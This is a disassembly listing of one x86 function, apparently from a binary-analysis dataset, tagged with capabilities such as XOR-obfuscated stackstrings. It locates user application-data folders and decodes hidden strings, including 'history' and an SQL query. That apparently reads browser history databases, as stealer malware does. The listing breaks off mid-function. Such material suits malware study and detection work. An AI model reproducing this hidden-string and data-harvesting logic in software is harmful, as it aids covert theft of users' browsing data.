Function at 0x42ae30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507df0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x324
push ebx
push esi
mov esi, ecx
mov bl, dl
mov dword [ebp - 0x154], esi
push edi
mov dword [ebp - 0x14], 1
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.0046c030
sub esp, 8
mov byte [ebp - 4], 3
mov eax, esp
mov dword [ebp - 0x14], 1
lea ecx, [ebp - 0xbc]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004687e0
add esp, 8
mov dword [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x2d], 0x83859c9c
mov dword [ebp - 0x29], 0x838b97
mov byte [ebp - 0x25], 1
lea esp, [esp]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 7
jb 0x42aec0
lea eax, [ebp - 0x2d]
mov byte [ebp - 0x25], 0
push eax
mov ecx, esi
call fcn.0046e710
mov byte [ebp - 4], 3
mov edi, eax
mov cl, byte [ebp - 0xbc]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb4]
mov byte [ebp - 0xbc], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xbc]
mov dword [edi + 8], eax
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0xb0], esi
call fcn.00468450
push 0x104
lea eax, [ebp - 0x32c]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x32c]
push eax
movzx eax, bl
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x32c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42af62
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x1c]
sub eax, edx
cmp eax, ecx
jb 0x42c3ff
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
jb 0x42af89
mov eax, dword [ebp + 0xc]
push edx
push eax
push ecx
lea eax, [ebp - 0x32c]
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x18c]
call fcn.004720e0
mov ebx, 0x4001
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 5
xor eax, eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
mov byte [ebp - 4], 6
cmp byte [ebp + 8], al
jne 0x42b43c
sub esp, 0x18
lea eax, [ebp - 0x18c]
mov ecx, esp
push eax
call fcn.0046a770
push 0
mov dl, 1
lea ecx, [ebp - 0x4c]
call fcn.00420cf0
add esp, 0x1c
mov byte [ebp - 4], 7
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x4c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x42b0d5
lea ecx, [ebp - 0x4c]
call fcn.0046c860
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x42b058
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b04e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x20]
cmp ecx, 0x10
jb 0x42b08c
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b082
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x38]
mov dword [ebp + 0x1c], 0
mov dword [ebp + 0x20], 0xf
mov byte [ebp + 0xc], 0
cmp ecx, 0x10
jb 0x42c3e8
mov edx, dword [ebp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c3de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
jmp 0x42c3de
xor ecx, ecx
mov dword [ebp - 0x58], ecx
test eax, eax
je 0x42b42b
xor edi, edi
mov dword [ebp - 0x50], edi
jmp 0x42b0f0
lea ecx, [ebp - 0x1f]
mov word [ebp - 0x1f], 0x5c
add edi, esi
mov byte [ebp - 0x1d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b102
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x17c]
sub eax, edx
cmp eax, ecx
jb 0x42c3ff
cmp dword [ebp - 0x178], 0x10
lea eax, [ebp - 0x18c]
jb 0x42b135
mov eax, dword [ebp - 0x18c]
push ecx
lea ecx, [ebp - 0x1f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x70]
call fcn.004720e0
or ebx, 0x2000
mov dword [ebp - 0x14], ebx
sub esp, 0x18
mov byte [ebp - 4], 8
mov esi, esp
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x18], esi
push edi
call fcn.0046a4f0
mov edx, eax
or ebx, 0x1000
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov ecx, dword [edx]
mov dword [esi], ecx
lea ecx, [ebp - 0x30]
mov eax, dword [edx + 4]
mov dword [esi + 4], eax
mov eax, dword [edx + 8]
mov dword [esi + 8], eax
mov eax, dword [edx + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edx + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [edx + 0x14]
mov dword [esi + 0x14], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
xor dl, dl
push 0
mov dword [ebp - 0x14], ebx
call fcn.00420cf0
add esp, 0x1c
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x42b201
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b1f7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x30]
sub ecx, esi
imul ecx
mov dword [ebp - 0x60], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x5c], 0xf
shr eax, 0x1f
mov byte [ebp - 0x70], 0
add eax, edx
je 0x42b3f1
xor ecx, ecx
mov dword [ebp - 0x54], ecx
test eax, eax
je 0x42b3f1
xor ebx, ebx
mov dword [ebp - 0x34], ebx
add ebx, esi
cmp dword [ebp + 0x38], 0x10
lea esi, [ebp + 0x24]
mov dword [ebp - 0x8c], esi
jb 0x42b25e
mov esi, dword [ebp + 0x24]
mov dword [ebp - 0x8c], esi
cmp dword [ebx + 0x14], 0x10
mov eax, dword [ebx + 0x10]
jb 0x42b269
mov ebx, dword [ebx]
mov ecx, dword [ebp + 0x34]
cmp ecx, eax
ja 0x42b3c0
sub eax, ecx
test ecx, ecx
je 0x42b332
movsx ecx, byte [esi]
inc eax
add eax, ebx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xa8], eax
sub eax, ebx
push eax
push ecx
push ebx
call fcn.004e2ce0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x42b3c0
mov ecx, esi
mov edx, edi
mov esi, dword [ebp + 0x34]
sub esi, 4
jb 0x42b2c1
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x42b2c6
add edx, 4
add ecx, 4
sub esi, 4
jae 0x42b2b0
cmp esi, 0xfffffffc
je 0x42b2fa
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x42b2f3
cmp esi, 0xfffffffd
je 0x42b2fa
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x42b2f3
cmp esi, 0xfffffffe
je 0x42b2fa
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x42b2f3
cmp esi, 0xffffffff
je 0x42b2fa
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x42b2fa
sbb eax, eax
or eax, 1
jmp 0x42b2fc
xor eax, eax
test eax, eax
je 0x42b327
mov eax, dword [ebp - 0xa8]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x18]
push edi
call fcn.004e2ce0
mov esi, dword [ebp - 0x8c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x42b2a4
jmp 0x42b3c0
sub edi, ebx
cmp edi, 0xffffffff
je 0x42b3c0
mov ebx, dword [ebp - 0x24]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x7c]
mov ecx, ebx
sub ecx, esi
xor edi, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x18], eax
je 0x42b393
mov ebx, dword [ebp - 0x4c]
add ebx, dword [ebp - 0x50]
lea ebx, [ebx]
cmp dword [ebx + 0x14], 0x10
mov eax, ebx
jb 0x42b36a
mov eax, dword [ebx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x42b374
mov ecx, dword [esi]
push dword [ebx + 0x10]
mov edx, dword [esi + 0x10]
push eax
call fcn.0047a4b0
add esp, 8
test al, al
jne 0x42b3c0
inc edi
add esi, 0x18
cmp edi, dword [ebp - 0x18]
jb 0x42b360
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x50]
push eax
cmp ebx, dword [ebp - 0x74]
je 0x42b3b1
mov ecx, ebx
call fcn.0046a770
add ebx, 0x18
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x78], ebx
jmp 0x42b3c0
push ebx
lea ecx, [ebp - 0x7c]
call fcn.004773f0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x30]
sub ecx, esi
mov ebx, dword [ebp - 0x34]
inc dword [ebp - 0x54]
add ebx, 0x18
imul ecx
mov dword [ebp - 0x34], ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x54], eax
jb 0x42b244
mov ebx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 7
call fcn.0046c860
mov ecx, dword [ebp - 0x48]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x4c]
sub ecx, esi
mov edi, dword [ebp - 0x50]
inc dword [ebp - 0x58]
add edi, 0x18
imul ecx
mov dword [ebp - 0x50], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x58], eax
jb 0x42b0f0
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 6
call fcn.0046c860
mov ebx, dword [ebp - 0x24]
jmp 0x42b4a4
xor eax, eax
mov dword [ebp - 0x5c], 0xf
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov byte [ebp - 0x70], al
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0xb
push eax
push 0
lea ecx, [ebp - 0x7c]
call fcn.004772c0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x42b4a1
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b497
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov ebx, dword [ebp - 0x78]
mov edi, dword [ebp - 0x7c]
mov ecx, ebx
sub ecx, edi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x42b559
xor ecx, ecx
mov dword [ebp - 0x5c], 0xf
xor edx, edx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], edx
mov byte [ebp - 0x70], cl
mov byte [ebp - 4], 0xc
cmp ebx, dword [ebp - 0x74]
je 0x42b50e
mov eax, dword [ebp - 0x70]
mov dword [ebx], eax
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
lea ecx, [edx + 0xf]
mov dword [ebx + 0x10], edx
mov dword [ebx + 0x14], 0xf
add ebx, 0x18
mov byte [ebp - 0x70], dl
mov dword [ebp - 0x78], ebx
jmp 0x42b524
lea eax, [ebp - 0x70]
push eax
push ebx
lea ecx, [ebp - 0x7c]
call fcn.004772c0
mov ebx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x5c]
mov edi, dword [ebp - 0x7c]
mov byte [ebp - 4], 6
cmp ecx, 0x10
jb 0x42b559
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b54f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
sub ebx, edi
mov eax, 0x2aaaaaab
imul ebx
xor esi, esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x54], esi
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x50], eax
je 0x42c36d
lea ebx, [ebx]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1e4]
push 0
mov byte [ebp - 0x1ec], 0
call fcn.0046c030
lea eax, [esi + esi*2]
mov byte [ebp - 4], 0xe
cmp dword [edi + eax*8 + 0x10], 0
lea eax, [edi + eax*8]
mov dword [ebp - 0x8c], eax
jbe 0x42b5cc
push eax
lea ecx, [ebp - 0x1cc]
call fcn.0046a770
mov esi, eax
mov byte [ebp - 4], 0xf
mov ebx, dword [ebp - 0x1c]
or ebx, 2
jmp 0x42b663
mov dword [ebp - 0x85], 0x969090b0
xor ecx, ecx
mov dword [ebp - 0x81], 0x8e958d
mov byte [ebp - 0x7d], 1
jmp 0x42b5f0
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x85], al
inc ecx
cmp ecx, 7
jb 0x42b5f0
xor eax, eax
mov byte [ebp - 0x7d], 0
lea ecx, [ebp - 0x85]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b634
sub ecx, edx
lea eax, [ebp - 0x85]
push ecx
push eax
lea ecx, [ebp - 0xa4]
call fcn.00402ae0
mov dword [ebp - 4], 0x10
lea esi, [ebp - 0xa4]
mov ebx, dword [ebp - 0x1c]
or ebx, 4
sub esp, 8
mov dword [ebp - 0x14], ebx
mov eax, esp
lea ecx, [ebp - 0x1b4]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004687e0
add esp, 8
push esi
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 4], 0x11
call fcn.00468100
mov cl, byte [ebp - 0x1b4]
mov edi, eax
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1ac]
mov byte [ebp - 0x1b4], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1b4]
mov dword [edi + 8], eax
mov dword [ebp - 0x1ac], edx
mov dword [ebp - 0x1a8], esi
call fcn.00468450
mov dword [ebp - 4], 0xf
test bl, 4
je 0x42b741
mov ecx, dword [ebp - 0x90]
and ebx, 0xfffffffb
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x42b726
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b71c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
mov dword [ebp - 4], 0xe
test bl, 2
je 0x42b78d
mov ecx, dword [ebp - 0x1b8]
and ebx, 0xfffffffd
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x42b78d
mov edx, dword [ebp - 0x1cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b783
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
cmp byte [ebp + 8], 0
jne 0x42b7fd
mov edi, dword [ebp - 0x8c]
mov edx, dword [edi + 0x10]
test edx, edx
je 0x42b7fd
lea ecx, [ebp - 0x1f]
mov word [ebp - 0x1f], 0x5c
mov byte [ebp - 0x1d], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b7b0
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x42c3ff
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x42b7d2
mov eax, dword [edi]
push ecx
lea ecx, [ebp - 0x1f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1cc]
call fcn.004720e0
or ebx, 0x800
lea esi, [ebp - 0x1cc]
mov byte [ebp - 4], 0x12
or ebx, 8
jmp 0x42b83d
xor eax, eax
mov dword [ebp - 0x90], 0xf
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov byte [ebp - 0xa4], al
lea esi, [ebp - 0xa4]
mov dword [ebp - 4], 0x13
or ebx, 0x10
lea ecx, [ebp - 0x23]
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x23], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x21], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b850
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x17c]
sub eax, edx
cmp eax, ecx
jb 0x42c3ff
cmp dword [ebp - 0x178], 0x10
lea eax, [ebp - 0x18c]
jb 0x42b883
mov eax, dword [ebp - 0x18c]
push ecx
lea ecx, [ebp - 0x23]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x220]
call fcn.004720e0
or ebx, 0x200
mov dword [ebp - 0x14], ebx
push esi
lea eax, [ebp - 0x220]
mov dword [ebp - 4], 0x14
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x204]
call fcn.00471ed0
or ebx, 0x100
mov dword [ebp - 0x14], ebx
lea eax, [ebp + 0x24]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x204]
call fcn.0046a4f0
mov edx, eax
or ebx, 0x80
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x150], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x14c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x148], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x144], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x140], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x13c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x1f0]
cmp ecx, 0x10
jb 0x42b993
mov edx, dword [ebp - 0x204]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b989
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0xf
mov byte [ebp - 0x204], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x20c]
cmp ecx, 0x10
jb 0x42b9ec
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b9e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x19
test bl, 0x10
je 0x42ba38
mov ecx, dword [ebp - 0x90]
and ebx, 0xffffffef
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x42ba38
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ba2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x1a
test bl, 8
je 0x42ba84
mov ecx, dword [ebp - 0x1b8]
and ebx, 0xfffffff7
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x42ba84
mov edx, dword [ebp - 0x1cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ba7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
cmp dword [ebp - 0x13c], 0x10
lea ecx, [ebp - 0x150]
jb 0x42ba99
mov ecx, dword [ebp - 0x150]
lea edx, [ebp - 0x58]
call fcn.00413aa0
test eax, eax
jne 0x42c2ae
mov dword [ebp - 0x135], 0xb2bab0a7
xor ecx, ecx
mov dword [ebp - 0x131], 0x8edaadbb
mov dword [ebp - 0x12d], 0xdfd2918e
mov dword [ebp - 0x129], 0x7771606c
mov dword [ebp - 0x125], 0x746f735b
mov dword [ebp - 0x121], 0x7f557d61
mov dword [ebp - 0x11d], 0x2f6b6065
mov dword [ebp - 0x119], 0x5e5d4356
mov dword [ebp - 0x115], 0x5b53463c
mov dword [ebp - 0x111], 0x3b4e5a5d
mov dword [ebp - 0x10d], 0x33726f69
mov dword [ebp - 0x109], 0x50434d00
mov dword [ebp - 0x105], 0x4e507a50
mov dword [ebp - 0x101], 0x745e405b
mov dword [ebp - 0xfd], 0x4a434458
mov dword [ebp - 0xf9], 0x575b111c
mov dword [ebp - 0xf5], 0x78647314
mov dword [ebp - 0xf1], 0x494f1975
mov dword [ebp - 0xed], 0x701e4e50
mov dword [ebp - 0xe9], 0x11070512
mov dword [ebp - 0xe5], 0x671f0764
mov dword [ebp - 0xe1], 0xf6a2d21
mov dword [ebp - 0xdd], 0x6f0d1e09
mov dword [ebp - 0xd9], 0x1a1f181c
mov dword [ebp - 0xd5], 0x62647500
mov dword [ebp - 0xd1], 0x7b736968
mov dword [ebp - 0xcd], 0x1a1a0f13
mov dword [ebp - 0xc9], 0x3a204132
mov dword [ebp - 0xc5], 0x47020c44
mov dword [ebp - 0xc1], 0x293a29
mov byte [ebp - 0xbd], 1
mov edi, edi
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x135], al
inc ecx
cmp ecx, 0x77
jb 0x42bbe0
mov ecx, dword [ebp - 0x58]
lea eax, [ebp - 0x18]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x135]
mov byte [ebp - 0xbd], 0
call fcn.004c5530
add esp, 0x14
test eax, eax
jne 0x42c2a6
mov edi, dword [ebp - 0x18]
mov ecx, edi
call fcn.004a2b90
cmp eax, 0x64
jne 0x42c234
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xb4]
push 0
mov byte [ebp - 0xbc], 0
call fcn.0046c030
mov byte [ebp - 4], 0x1c
test edi, edi
je 0x42bc9b
cmp dword [edi + 0x2c], 0
je 0x42bc76
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x42bc76
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42bc71
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x42bca0
mov eax, dword [edi]
test eax, eax
je 0x42bc9b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42bc8d
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov ebx, eax
test edi, edi
je 0x42bd00
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x42bce3
cmp byte [esi + 0x1e], 0
jne 0x42bcc6
mov eax, esi
cmp ecx, 0xc0a
jne 0x42bcde
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x42bcea
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42bd00
push eax
call dword [0x534f68]
add esp, 4
xor eax, eax
mov dword [ebp - 0xa8], ebx
lea edx, [ebp - 0xa8]
mov byte [ebp - 0x164], 0
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
call fcn.0047e810
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x39], 0x9a8781
mov byte [ebp - 0x35], 1
lea ecx, [ecx]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 3
jb 0x42bd40
mov al, byte [ebp - 0xbc]
mov byte [ebp - 0x35], 0
test al, al
jne 0x42bd8a
push 1
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 0xbc], 1
call fcn.0046c030
mov ebx, dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], eax
jmp 0x42bd98
cmp al, 1
jne 0x42c409
mov ebx, dword [ebp - 0xb4]
xor eax, eax
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0x39]
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a0], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x190], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bdc7
sub ecx, edx
lea eax, [ebp - 0x39]
push ecx
push eax
lea ecx, [ebp - 0x1a4]
call fcn.00402ae0
lea eax, [ebp - 0x1a4]
mov byte [ebp - 4], 0x1e
push eax
mov ecx, ebx
call fcn.00471a00
mov byte [ebp - 4], 0x1d
mov ebx, eax
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x42be32
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42be28
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x1c
mov al, byte [ebp - 0x164]
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], 0
mov cl, byte [ebx]
mov byte [ebx], al
mov esi, dword [ebx + 0xc]
mov edx, dword [ebx + 8]
mov eax, dword [ebp - 0x15c]
mov byte [ebp - 0x164], cl
mov ecx, dword [ebp - 0x158]
mov dword [ebx + 0xc], ecx
lea ecx, [ebp - 0x164]
mov dword [ebx + 8], eax
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x158], esi
call fcn.00468450
test edi, edi
je 0x42bee5
cmp dword [edi + 0x2c], 0
je 0x42bec0
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x42bec0
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42beb8
push eax
call dword [0x534f60]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x42beea
mov eax, dword [edi]
test eax, eax
je 0x42bee5
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42bed7
push eax
call dword [0x534f60]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00492380
add esp, 0xc
mov ecx, 0x520308
mov dl, 1
call fcn.0049fe00
mov ebx, eax
test edi, edi
je 0x42bf4a
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x42bf2d
cmp byte [esi + 0x1e], 0
jne 0x42bf10
